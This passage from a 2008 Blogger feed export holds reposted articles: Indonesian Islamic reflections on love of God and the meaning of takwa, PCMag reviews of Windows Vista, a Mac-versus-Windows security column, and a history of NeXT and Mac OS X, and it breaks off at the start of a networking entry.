ke neraka-Mu kalau aku menyembah-Mu karena takut neraka. Jauhkan aku dari surga-Mu jika aku menyembah-Mu karena ingin surga. Aku menyembah kepada-Mu, ya Allah, semata-mata karena cintaku yang sangat dalam kepada-Mu."</i></span> <br /><br /><span style="font-family:Georgia;font-size:100%;">Luar biasa. Inilah nanti yang memancar dampaknya dalam masyarakat. Apapun yang kita lakukan, penuh dengan kedamaian. Termasuk saat tertimpa musibah atau kesedihan pun, hati kita akan tetap tenang dan ikhlas. Berjumpa dengan saudara, dengan kawan, tersenyum. Damai bawaannya. Kalau cinta terhadap Tuhan membara dalam diri setiap hamba, maka kedamaian antar sesama manusia pun akan tercipta. Insya Allah.</span></div>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-28324651392231444972008-08-15T05:03:00.000-07:002008-08-15T05:15:06.186-07:00hakekat takwa<small>from:http://ustadzkholid.wordpress.com/2007/12/25/hakekat-takwa/ <!-- by ustadzkholid --></small> <div class="entrytext"> <div class="snap_preview"><p><strong><span style="font-weight: normal; font-size: 10pt;"><span style="font-family:Times New Roman;">Takwa sangat penting dan dibutuhkan dalam setiap kehidupan seorang muslim. Namun masih banyak yang belum mengetahui hakekatnya. Setiap jum’at para khotib menyerukan takwa dan para makmumpun mendengarnya berulang-ulang kali. Namun yang mereka dengar terkadang tidak difahami dengan benar dan pas.<span id="more-69"></span></span></span></strong><strong><span style="font-size: 10pt;"><span style="font-family:Times New Roman;">Pengertian Takwa.</span></span></strong><strong><span style="font-weight: normal; font-size: 10pt;"><span style="font-family:Times New Roman;">Untuk mengenal hakekat takwa tentunya harus kembali kepada bahasa Arab, karena kata tersebut memang berasal darinya. Kata takwa (</span></span></strong><strong><span style="font-weight: normal; font-size: 16pt; color: blue; font-family: 'Traditional Arabic';" dir="rtl">التَّقْوَى</span></strong><span dir="ltr"></span><strong><span style="font-weight: normal; font-size: 10pt;"><span dir="ltr"></span><span style="font-family:Times New Roman;">) dalam etimologi bahasa Arab berasal dari kata kerja </span></span></strong><span dir="rtl"></span><strong><span style="font-weight: normal; font-size: 16pt; font-family: 'Traditional Arabic';" dir="rtl"><span dir="rtl"></span>(وَقَى)</span></strong><span dir="ltr"></span><strong><span style="font-weight: normal; font-size: 10pt;"><span dir="ltr"></span><span style="font-family:Times New Roman;"> yang memiliki pengertian menutupi, menjaga, berhati-hati dan berlindung. Oleh karena itu imam Al Ashfahani menyatakan: Takwa adalah menjadikan jiwa berada dalam perlindungan dari sesuatu yang ditakuti, kemudian rasa takut juga dinamakan takwa. Sehingga takwa dalam istilah syar’I adalah menjaga diri dari perbuatan dosa.</span></span></strong><strong><span style="font-weight: normal; font-size: 10pt;"><span style="font-family:Times New Roman;">Dengan demikian maka bertakwa kepada Allah adalah rasa takut kepadaNya dan menjauhi kemurkaanNya. Seakan-akan kita berlindung dari kemarahan dan siksaanNya dengan mentaatiNya dan mencari keridhoanNya.</span></span></strong><strong><span style="font-weight: normal; font-size: 10pt;"><span style="font-family:Times New Roman;">Takwa merupakan ikatan yang mengikat jiwa agar tidak lepas control mengikuti keinginan dan hawa nafsunya. Dengan ketakwaan seseorang dapat menjaga dan mengontrol etika dan budi pekertinya dalam detiap saat kehidupannya karena ketakwaan pada hakekatnya adalah muroqabah dan berusaha keras mencapai keridhoan Allah serta takut dari adzabNya.</span></span></strong><strong><span style="font-weight: normal; font-size: 10pt; color: rgb(0, 0, 153);"><span style="font-family:Times New Roman;">Sangat pas sekali definisi para ulama yang menyatakan ketakwaan seorang hamba kepada Allah adalah dengan menjadikan benteng perlindungan diantara dia dengan yang ditakuti dari kemurkaan dan kemarahan Allah dengan melakukan ketaatan dan menjauhi kemaksiatan.</span></span></strong><strong><span style="font-weight: normal; font-size: 10pt;"><span style="font-family:Times New Roman;">Berikut ini beberapa ungkapan para ulama salaf dalam menjelaskan pengertian takwa:</span></span></strong><span style="font-family:Times New Roman;"><strong><span style="font-weight: normal; font-size: 10pt;"><span>1.<span style="font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> </span></span></span></strong><span dir="ltr"><strong><span style="font-weight: normal; font-size: 10pt;">Kholifah yang mulia Umar bin Al Khothob pernah bertanya kepada Ubai bin Ka’ab tentang takwa. Ubai bertanya: Wahai amirul mukminin, Apakah engkau pernah melewati jalanan penuh duri? Beliau menjawab: Ya. Ubai berkata lagi: Apa yang engkau lakukan? Umar menjawab: Saya teliti dengan seksama dan saya lihat tempat berpijak kedua telapak kakiku. Saya majukan satu kaki dan mundurkan yang lainnya khawatir terkena duri. Ubai menyatakan: Itulah takwa.</span></strong></span></span><a name="_ftnref1" href="http://ustadzkholid.wordpress.com/wp-includes/js/tinymce/blank.htm#_ftn1"><span class="MsoFootnoteReference"><span style="font-size: 10pt;"><span><span class="MsoFootnoteReference"><span style="font-size: 10pt; font-family: 'Times New Roman';">[1]</span></span></span></span></span></a><strong><span style="font-weight: normal; font-size: 10pt;"></span></strong><span style="font-family:Times New Roman;"><strong><span style="font-weight: normal; font-size: 10pt;"><span>2.<span style="font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> </span></span></span></strong><span dir="ltr"><strong><span style="font-weight: normal; font-size: 10pt;">Kholifah Umar bin Al Khothob pernah berkata: Tidak sampai seorang hamba kepada hakekat takwa hingga meninggalkan keraguan yang ada dihatinya.</span></strong></span></span><span style="font-family:Times New Roman;"><strong><span style="font-weight: normal; font-size: 10pt;"><span>3.<span style="font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> </span></span></span></strong><span dir="ltr"><strong><span style="font-weight: normal; font-size: 10pt;">kholifah Ali bin Abi Tholib pernah ditanya tentang takwa, lalu beliau menjawab: Takut kepada Allah, beramal dengan wahyu (Al Qur’an dan Sunnah) dan ridho dengan sedikit serta bersiap-siap untuk menhadapi hari kiamat.</span></strong></span></span><span style="font-family:Times New Roman;"><strong><span style="font-weight: normal; font-size: 10pt;"><span>4.<span style="font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> </span></span></span></strong><span dir="ltr"><strong><span style="font-weight: normal; font-size: 10pt;">Sahabat Ibnu Abas menyatakan: Orang yang bertakwa adalah orang yang takut dari Allah dan siksaanNya.</span></strong></span></span><span style="font-family:Times New Roman;"><span style="font-size: 10pt;"><span>5.<span style="font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> </span></span></span><span dir="ltr"><span style="font-size: 10pt;">Tholq bin Habib berkata: takwa adalah beramal ketaatan kepada Allah diatas cahaya dari Allah karena mengharap pahalaNya dan meninggalkan kemaksiatan diatas cahaya dari Allah karena takut siksaanNya</span></span></span><span style="font-family:Times New Roman;"><strong><span style="font-weight: normal; font-size: 10pt;"><span>6.<span style="font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> </span></span></span></strong><span dir="ltr"><span style="font-size: 10pt;">ibnu Mas’ud menafsirkan firman Allah: </span></span><span dir="rtl"></span></span><strong><span style="font-weight: normal; font-size: 16pt; font-family: 'Traditional Arabic';" dir="rtl"><span dir="rtl"></span><span> </span><span>اتَّقُواْ اللَّهَ حَقَّ تُقَاتِهِ</span></span></strong><span dir="ltr"></span><strong><span style="font-weight: normal; font-size: 10pt;"><span dir="ltr"></span><span style="font-family:Times New Roman;"> dengan menyatakan: Taat tanpa bermaksiat dan ingat Allah tanpa melupakannya dan bersyukur.</span></span></strong><b><span style="font-size: 10pt;"><span style="font-family:Times New Roman;">Takwa ada dikalbu.</span></span></b><span style="font-size: 10pt;"><span style="font-family:Times New Roman;">Takwa adalah amalan hati (kalbu) dan tempatnya di kalbu, dengan dasar firman Allah Ta’ala:</span></span><i><span style="font-size: 12pt; font-family: Garamond;">Demikianlah (perintah Allah). Dan barangsiapa mengagungkan syi’ar-syi’ar Allah, maka sesungguhnya itu timbul dari ketaqwaan hati. (QS. 22:32)</span></i><span style="font-size: 12pt; font-family: Garamond;"> . dalam ayat ini takwa di sandarkan kepada hati, karena hakekat takwa ada dihati. Demikian juga firman Allah:</span><i><span style="font-size: 12pt; font-family: Garamond;">Sesungguhnya orang-orang yang merendahkan suaranya di sisi Rasulullah mereka itulah orang-orang yang telah diuji hati mereka oleh Allah untuk bertaqwa. (QS. 49:3)</span></i><span style="font-size: 12pt; font-family: Garamond;">Sedangkan dalil dari hadits Nabi n tentang hal ini adalah sabda beliau: </span><b><span style="font-size: 14pt; font-family: 'Simplified Arabic';">التَّقْوَى هَهُنَا التَّقْوَى هَهُنَا التَّقْوَى هَهُنَا ويُشِيْرُ إِلَى صَدْرِهِ [ثَلاَثَ مَرَّاتٍ] بِحَسْبِ امْرِىءٍ مِنَ الشَّرِّ أَنْ يَحْقِرَ أَخَاهُ الْمُسْلِمَ كُلُّ اْلمُسْلِمِ عَلَى الْمُسْلِمِ حَرَامٌ دَمُّهُ وَعِرْضُهُ </span></b><span style="font-size: 10pt;"><span style="font-family:Times New Roman;">Takwa itu disini! Takwa itu disini! Takwa itu disini! –dan beliau mengisyaratkan ke dadanya (Tiga kali). Cukuplah bagi seorang telah berbuat jelek dengan merendahkan saudara muslimnya. Setiap muslim diharamkan atas muslim lainnya dalam darah, kehormatan dan hartanya. (HR Al Bukhori dan Muslim ). Juga hadits Qudsi yang masyhur dan panjang dari sahabat Abu Dzar. Diantara isinya adalah:</span></span><b><span style="font-size: 14pt; font-family: 'Simplified Arabic';">يَا عِبَادِي لَوْ أَنَّ أَوَّلَكُمْ وَآخِرَكُمْ وَإِنْسَكُمْ وَجِنَّكُمْ كَانُوا عَلَى أَتْقَى قَلْبِ رَجُلٍ وَاحِدٍ مِنْكُمْ مَا زَادَ ذَلِكَ فِي مُلْكِي شَيْئًا </span></b><span style="font-size: 10pt;"><span style="font-family:Times New Roman;">Wahai hambaKu, seandainya seluruh kalian yang terdahulu dan yang akan datang, manusia dan jin seluruhnya berada pada ketakwaan hati seorang dari kalian tentulah tidak menambah hal itu sedikitpun dari kekuasaanKu. (HR Muslim)</span></span><span style="font-family:Times New Roman;"><span style="font-size: 10pt;">Dalam hadits ini ketakwaan disandarkan kepada tempatnya yaitu kalbu. </span><span style="font-size: 10pt;"></span></span><span style="font-family:Times New Roman;"><span style="font-size: 10pt;">Namun walaupun ketakwaan adalah amalan hati dan adanya dihati, tetap saja harus dibuktikan dan dinyatakan dengan amalan anggota tubuh. </span><span style="font-size: 10pt;">Siapa yang mengklaim bertakwa sedangkan amalannya menyelisihi perkataannya maka ia telah berdusta.</span></span><span style="font-size: 10pt;"><span style="font-family:Times New Roman;">Ketakwaan ini berbeda-beda sesuai kemampuan yang dimiliki setiap individu, sebagaimana firman Allah :</span></span><strong><span style="font-size: 16pt; font-family: 'Traditional Arabic';">فاتّقوا اللّهَ ما</span></strong><span dir="ltr"></span><strong><span style="font-size: 10pt;" dir="ltr"><span dir="ltr"></span><span style="font-family:Times New Roman;"> </span></span></strong><strong><span style="font-size: 16pt; font-family: 'Traditional Arabic';">استَطَعتُم</span></strong><span style="font-size: 10pt;" dir="ltr"></span><span style="font-size: 10pt;"><span style="font-family:Times New Roman;">Bertakwalah kepada Allah semampu kalian.</span></span><span style="font-size: 10pt;"><span style="font-family:Times New Roman;">Mudah-mudahan Allah memberikan kepada kita ketakwaan yang sempurna.</span></span><span dir="ltr"><span style="font-family:Times New Roman;"> </span></span></p> <div><span style="font-family:Times New Roman;"><br /><hr size="1" width="33%" align="right"></span> <div> <p style="margin: 0pt; direction: ltr; unicode-bidi: embed; text-align: left;" dir="ltr" class="MsoFootnoteText"><a name="_ftn1" href="http://ustadzkholid.wordpress.com/wp-includes/js/tinymce/blank.htm#_ftnref1"><span class="MsoFootnoteReference"><span><span class="MsoFootnoteReference"><span style="font-size: 10pt; font-family: 'Times New Roman';">[1]</span></span></span></span></a><span dir="rtl"></span><span dir="rtl"><span dir="rtl"></span><span style="font-family:Times New Roman;font-size:85%;"> </span></span><span style="font-family:Times New Roman;font-size:85%;">Al Jaami’ Liahkam Al Qur’an karya Al Qurthubi 1/162</span></p> </div> </div> </div> </div>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-48788526793718338722008-07-11T19:05:00.000-07:002008-07-11T19:06:53.313-07:00Windows Vista<p><strong>Vista Hardware Support</strong></p><p>To help buyers identify hardware suitable for running Vista, Microsoft has a two-tier certification and logo program. The "Works with Windows Vista" logo provides assurance of basic Vista compatibility, and "Certified for Windows Vista" indicates that products specifically enable, or take advantage of, Vista features (such as Windows Aero). SLIDESHOW (74) <br /><br />Slideshow | All Shots<br /><br /><br /><br />Vista supports new hardware in a variety of ways. The OS includes DirectX 10, supporting geometry shaders, graphics memory paging, graphics hardware virtualization, and other features that should enable ever-more-photorealistic games and simulations. (For our review of the first graphics chip and card ready to take advantage of DX10, go to go.pcmag.com/geforce8800.) Audio and printer driver architecture has changed as well, again with the goal of enhancing performance and stability. Vista also offers improved support for new varieties of peripherals and components, including Blu-ray and HD DVD devices.<br /><br />Laptop and Tablet PC users get new goodies, too, without having to buy separate versions. New Tablet features include touch-screen support, improved pen navigation, gestures, and personalized handwriting recognition. And Media Center is now integral rather than packaged as a separate OS edition.<br /><br />Vista's intriguing technology called SideShow lets devices with "auxiliary screens" show snippets of pertinent information even when the system isn't powered on. Imagine the Caller ID display on the outside of a clamshell cell phone, only more powerful and flexible. We're waiting for hardware that will let us test SideShow firsthand<br /><br /></p><p><span style="font-size:78%;">from : http://www.pcmag.com/article2/0,2817,2089594,00.asp</span></p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-9185969648387482902008-07-11T19:00:00.000-07:002008-07-11T19:02:58.941-07:00Windows Vista<p><strong>Vista Fundamentals</strong></p><p>Some of an operating system's crucial responsibilities include managing hardware and drive storage and providing a set of APIs (application programming interfaces) that other software can rely on. And, indeed, some of Vista's most important enhancements lie beneath the surface. Many of these improvements are security related. We've written extensively about them, and you can get the latest in "Microsoft Locks Down Security...and Roils Security Vendors". <br /><br />Networking is another revamped area. Vista's new TCP/IP stack includes native IPv6 support and auto-tuning via TCP window scaling. And it has better built-in Wi-Fi support.<br /><br />Vista also has a number of performance enhancers. SuperFetch tracks frequently used programs and preloads them. ReadyBoost lets you use flash memory on a high-speed USB drive as a supplemental swap file (this can be substantially faster than a spinning hard drive). ReadyDrive supports hybrid hard drives with built-in flash-memory caches. There's also a low-priority I/O mechanism that lets programs such as Windows Defender run scans in the background with less disruption to foreground activity; and Vista automatically schedules drive defragmentation.<br /><br />On the whole, my experience has been positive—on a screamer system. Others have had worse luck, particularly those who skimped on RAM. The SYSmark and MobileMark benchmark tests are currently being modified for testing Vista's performance; once they're up and running, we'll post performance results at go.pcmag.com/vistaspeed.<br /><br />Vista's new sleep mode is supposed to make suspending and resuming faster and more reliable. With the machines I've been testing it on, I don't sense huge benefits from the new sleep mode. Whether that's due to Vista or to third-party hardware or drivers is hard to determine.<br /><br />Microsoft also made a lot of more fundamental changes in the OS kernel, which provides low-level functions such as memory management, multi-processor synchronization, and I/O scheduling. Most are intended to help improve performance, security, and reliability.<br />Vista also extends the Windows API by incorporating the .NET 3.0 framework, giving developers capabilities that include Windows Presentation Foundation (formerly code-named Avalon), Windows Communication Framework (formerly Indigo), and Windows CardSpace (formerly InfoCard). But there's no WinFS (Windows Future Storage), the database-backed file system that was to be one of Vista's core innovations. As a result, Vista's support for tagging and relating files is less extensive than Microsoft promised back when the OS was still known by its code name, Longhorn.<br /><br />Other additions are APIs to support RSS natively and a central RSS store. For example, if you subscribe to an RSS feed in Internet Explorer 7, the RSS reader Sidebar gadget automatically detects it<br /><br /></p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-25312752726407574262008-07-11T18:53:00.000-07:002008-07-11T18:59:16.770-07:00Windows Vista<p><span style="font-size:78%;">from:http://www.pcmag.com/article2/0,2817,2088444,00.asp</span></p><p><span style="font-size:78%;">by John Clyman</span></p><p><span style="font-size:85%;">Windows Vista is here at last. One of the largest software projects ever undertaken, Vista is indisputably a milestone—despite Microsoft's having abandoned many of its most ambitious goals for the OS—and not just for Microsoft but for the entire PC industry. </span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;">Of course, Vista is not without its skeptics. PC makers say it will require more processing power, graphics capabilities, and memory than is typical of today's mainstream machines. Software vendors complain that Vista's vaunted security features are, in fact, locking them out. Users may wonder if it offers enough that's truly new to be worth the bother—particularly given that a number of Vista features and bundled applications are also available for Windows XP.</span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;">We've performed extensive, hands-on analysis of Vista and sorted out the claims to help you decide whether, or more realistically when, to make the move—and to show you what you can expect when you do</span></p><p><span style="color:#000099;"><strong><span style="font-size:85%;">Windows Vista </span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;">The Vista Promise</span></strong></span></p><p><span style="font-size:85%;">Microsoft calls Vista "a breakthrough computing experience." That's marketing hyperbole, for sure, but it's not entirely unfounded. The new OS is far more than Windows XP with a pretty new face. Many aspects of Vista are substantive improvements: stronger security, better built-in apps, networking enhancements, parental controls, and DirectX 10 </span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;">graphics support, to name just a few.</span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;">As a whole, Vista feels more evolutionary than revolutionary. That's not all bad; one of Microsoft's strengths has been its commitment to backward compatibility, which continues with Vista.</span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;">Vista's real competitor, though, is Windows XP. For many users, XP is good enough. And for all the advances in Vista, it's hard to avoid seeing the things that aren't as good as they could have been.</span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;">Nor is Vista bug-free. As I assessed final code, I ran into a variety of small but annoying glitches and found plenty of features that didn't work as seamlessly as I would have liked. I can't shake the feeling that Vista's release was rushed. </span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;">So what's our verdict? Vista is good—in some respects very good—but not spectacular. Call it a nice-to-have product rather than a must-have.</span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;">If you're buying a new consumer PC this spring, it probably makes sense to get Vista. (For a few contrarian points of view, see "Why Not to Buy Vista".) Soon, there won't be much of a choice; according to Microsoft's support life cycle, retail PC buyers will have only a year after Vista's release to buy Windows XP.</span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;">If you've already got a PC running Windows XP smoothly, it's harder to see a reason to upgrade right away. You can wait until you replace your machine, or at least a few months, until Vista's kinks are worked out. (If you're curious to see how well your existing machine will support Vista, try Microsoft's Vista Upgrade Advisor, available at www.windowsvista.com/upgradeadvisor). In the meantime, you can download some of the new software included in Vista, such as Internet Explorer 7, Windows Media Player 11, and a desktop search utility, to enjoy some of the same capabilities you'd get in Vista itself.</span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;">For business customers, it makes sense to start evaluating Vista now, particularly since improved deployment, management, and security could lead to significant cost reductions in the long term. But you'll want to be confident about compatibility and support before you make the transition en masse. (See "Vista at Work," for more on features for businesses in Windows Vista Business and Vista Enterprise.)</span><span style="font-size:85%;"><br /></span><span style="font-size:85%;"><br /></span><span style="font-size:85%;">Let's dive in and take a more detailed look at what Vista has to offer</span><span style="font-size:78%;"><br /><br /><br /><br /></span></p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-65755649788409456172008-07-11T18:51:00.000-07:002008-07-11T18:53:40.719-07:00MacIntosh vs. Windows: Choosing to take a bite of the Apple<p><span style="font-size:78%;"><span style="color:#ff0000;">By Winn Schwartau</span></span></p><p><span style="font-size:85%;"><span style="color:#000000;">WinTel finally broke my back. Or perhaps it was that last series of inexplicable crashes, dirty reinstalls and similar constant complaints from co-workers and friends. <br /></span><br />WinTel finally broke my back, and I wanted to know why. <br /><br />I was a PC bigot and I am still a security guy. <br /><br />Having lived on PC [DOS, Win, etc.] for 25 years, I, like so many other people, just assumed [ASSuME] that Macs were toys and PCs were for us grownups. I also assumed that the endless assault upon my <br /><br />Mad as Hell archive<br /><br />Want to read other installments in the series? This series will be updated twice weekly so don't forget to check back, it may benefit your organization.<br /><br /> <br /><br /><br />digital being was a God <br /><br />Mad as Hell archive<br /><br />Want to read other installments in the series? This series will be updated twice weekly so don't forget to check back, it may benefit your organization.<br /><br /> <br /><br />Given Right of the bad guys and I was just going to have <br />to deal with it. I also assumed, without ever looking into it in detail, that desktop/laptop security woes were a ubiquitous reality. <br /><br />I was wrong. So I decided to examine the security issues I was facing and see what I could do about them. But there was a lot more than that. <br /><br />If PCs are supposed to be for Ma & Pa and the masses, how come I spend so much time making my machine live? How come these blasted useful devices are so much more difficult than a toaster or a microwave or a car? What was the Ma & Pa of the universe doing? <br /><br />Then I thought about the security of the desktop -- not from the traditional bits, bytes and patches viewpoint, but from the one in which I was trained: as a systems engineer. Once I began viewing desktop security from that vantage point, things became exquisitely clear. <br /><br />I had been wrong all of these years, having been sucked into the popular maelstrom of blinded WinTel acceptance, and all of the security problems that come with choosing that technology for mission critical work. <br /><br />The "experiment' I began on April 29 has unexpectedly caused a frenzy of examination of the security aspects of the PC, and I guess a lot of folks are reading about my transitions. <br /><br />NOTE: I bought my Macs. Retail. I do not know Steve Jobs. I have no Apple stock. I am not a paid Mac whore. OK? <br /><br />In the "Mad as Hell" series, I will be exploring: <br />How to make Ma & Pa happy campers again.<br />Why the fear of computing is slowly being cleansed from my carbon system. <br />How I believe we can vastly improve the national security of this country, its critical infrastructures and safe corporate computing. <br />How to really make security an enabler versus an inhibitor. <br />If I am correct, I believe that by viewing PC security differently, we can save our country tens of billions of dollars every year, and measurably increase productivity within the corporate world while simultaneously reducing costs. <br />The "Mad as Hell" series is about security -- period. Do not expect uber-geekinesss. There are plenty of folks who can do that more admirably than me. I am terrifically interested in the Big Security Picture and what we can all do to drastically improve it with minimal pain or cost</span><span style="font-size:78%;">.<br /><br /></span></p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-26298536947458550432008-07-11T18:39:00.000-07:002008-07-11T18:48:23.652-07:00Mac OS X Leopard vs. Windows Vista: The Final WordThe Mac vs. Windows wiki provides an in-depth comparison between two of the most popular consumer operating systems today: Mac OS X Leopard and Windows Vista (Home Premium and Ultimate). We answer the tough questions such as... <br /><br /><br />Which features does one have the other lacks? <br />Who provides a more "complete" user experience out of the box? <br />How do they stack up against other operating systems such as Linux? <br /><br />We recognize that different people have different needs for their computers. What's best for one is not always best for another. We simply present the facts, and let you decide for yourself which operating system is best. <br /><br /><p>And since Mac vs. Windows is a full-blown wiki, you can edit the comparisons on this website straight from your web browser. See a feature missing? Spot an error? Sign up as a contributor and help us make this website the most comprehensive and unbiased source of its kind.</p><p><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJfcg6EsLjkNnOMUX2PFBczRz4pBCJajb8acZlAjnMTPzv2HXgTXntUkmbGSSTPXD1WiaXXq537oE3srEvM7ikCwX_EQWdHg4vhH557PpceZxzosHGSI0A4DUNDWELsarLaTgCzqm4mno/s320/untitled.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5221938442530827570" /><br /></p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-78919677120070396392008-07-11T18:37:00.000-07:002008-07-11T18:38:59.499-07:00What is Mac OS XThe goal of this document is not to trace the history of Mac OS X in great detail, so this section would be brief. A more extensive history of Apple's operating systems is covered in A History of Apple's Operating Systems. <br /><br />All of Steve Jobs' operational responsibilities at Apple were "taken away" on May 31, 1985. Soon (within weeks), Jobs had come up with an idea for a startup for which he pulled in five other Apple employees. The idea was to create the perfect research computer (for Universities and research labs). Jobs had earlier met up with Nobel laureate biochemist Paul Berg, who had jumped at Jobs' suggestion of using a computer for various simulations. Although Apple was interested in investing in Jobs' startup, they were outraged (and sued Jobs) when they learnt about the five Apple employees joining Jobs. Apple dropped the suit later after some subsequent mutual agreements. The startup was NeXT Computer, Inc. <br /><br />Jobs unveiled the first NeXT Computer (running NEXTSTEP 0.8) on October 12, 1988, in San Francisco, although a mature release of the operating system took another year. The name "NEXTSTEP" has gone through a number of capitalization permutations, so we shall simply use "NEXTSTEP". NEXTSTEP 1.0 shipped on September 18, 1989, over two years later than what Jobs had first predicted and hoped for. NEXTSTEP was based on Mach 2.5 and 4.3BSD, and had an advanced GUI system based on Postscript. It used Objective-C as its native programming language, and included the NeXT Interface Builder. <br /><br />In the fall of 1990, the first web browser (offering WYSIWYG browsing and authoring) was created at CERN by Tim Berners-Lee on a NeXT computer. Tim's collaborator, Robert Cailliau, later went on to say that "... Tim's prototype implementation on NeXTStep is made in the space of a few months, thanks to the qualities of the NeXTStep software development system ..." <br /><br />NEXTSTEP 2.0 was released exactly a year later on September 18, 1990 (with support for CD-ROMs, color monitors, NFS, on-the-fly spell checking, dynamically loadable device drivers, ...). 2.1 followed on March 25, 1991, and 3.0 in September, 1992. <br /><br />In the 1992 NeXTWORLD Expo, NEXTSTEP 486, a version (costing $995) for the PC was announced. Versions 3.1 and 3.2 were released in May and October, 1993, respectively. The last version of NEXTSTEP, 3.3, was released in February, 1995. A bit earlier, in 1994, NeXT and Sun had jointly released specifications for OpenStep, an open platform (comprised of several APIs and frameworks) that anybody could use to create their own implementation of *STEP. NeXT's implementation was named OPENSTEP, the successor to the NEXTSTEP operating system. Three versions of OPENSTEP were ever released: 4.0 (July 22, 1996), 4.1 (December, 1996), and 4.2 (January, 1997). SunOS, HP-UX, and even Windows NT had implementations at a point. The GNUstep Project still exists. Even though *STEP ran on many architectures (multi-architecture "fat binaries" were introduced by NeXT), by 1996, things were not looking good for them, and NeXT was giving more importance to WebObjects, a development tool for the Web. <br /><br />Meanwhile, Apple had been desperately seeking to create an operating system that could compete with the onslaught from Microsoft. They actually wanted to beat Windows 95 to market, but failed. Apple suffered a setback when Pink OS, a joint venture between IBM and Apple, was killed in 1995. Apple eventually started work on an advanced operating system codenamed Copland, which was first announced to the public in 1994. The first beta of Copland went out in November, 1995, but a 1996 release (as planned and hoped) did not seem feasible. Soon afterwards, Apple announced that they would start shipping "pieces of Copland technology" beginning with System 7.6. Copland turned out to be a damp squib. <br /><br />At this point Apple became interested in buying Be, a company that was becoming popular as the maker of the BeBox, running the BeOS. The deal between Apple's Gil Amelio and Be's Gassée never materialized - it has been often reported that Apple offered $125 million while Be wanted an "outrageous" $200 million plus. The total investment in Be at that time was estimated to be only $20 million! <br /><br />Apple then considered Windows NT, Solaris and even Pink OS. Then, Steve Jobs called Amelio, and advised him that Be was not a good fit for Apple's OS roadmap. NeXT contacted Apple to discuss possibilities of licensing OPENSTEP, which, unlike BeOS, had at least been proven in the market. Jobs pitched NeXT technology very strongly to Apple, and asserted that OPENSTEP was many years ahead of its time. All this worked out, and Apple acquired NeXT in February, 1997, for $427 million. Amelio later quipped that "We choose Plan A instead of Plan Be." <br /><br />Apple named its upcoming NeXT-based system Rhapsody, while it continued to improve the existing Mac OS, often with technology that was supposed to go into Copland. Rhapsody saw two developer releases, in September, 1997, and May, 1998. <br /><br />Jobs became the interim CEO of Apple on September 16, 1997. <br /><br />Mac OS X was first mentioned in Apple's OS strategy announcement at the 1998 WWDC. Jobs said that OS X would ship in the fall of 1999, and would inherit from both Mac OS and Rhapsody. Moreover, backward compatibility would be maintained to ease customers into the transition. <br /><br />Mac OS X did come out in 1999, as Mac OS X Server 1.0 (March 16, 1999), a developer preview of the desktop version, and as Darwin 0.1. Mac OS X beta was released on September 13, 2000. <br /><br />At the time of this writing, Mac OS X has seen four major releases: 10.0 ("Cheetah", March 24, 2001), 10.1 ("Puma", September 29, 2001), 10.2 ("Jaguar", August 13, 2002), and 10.3 ("Panther", October 24, 2003). <br /><br /><p>It would be an understatement to say that OS X is derived from NEXTSTEP and OPENSTEP. In many respects, it's not just similar, it's the same. One can think of it as OpenStep 5 or 6, say. This is not a bad thing at all - rather than create an operating system from scratch, Apple tried to do the smart thing, and used what they already had to a great extent. However, the similarities should not mislead you: Mac OS X is evolved enough that what you can do with it is far above and beyond NEXTSTEP/OPENSTEP.</p><p><span style="font-size:78%;">from : http://www.kernelthread.com/mac/osx/history.html</span><br /></p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-20547894843692632942008-06-22T20:55:00.000-07:002008-06-22T20:56:25.110-07:00Bridging (networking)<h3 style="font-weight: normal;" id="siteSub"><span style="font-size:85%;">From Wikipedia, the free 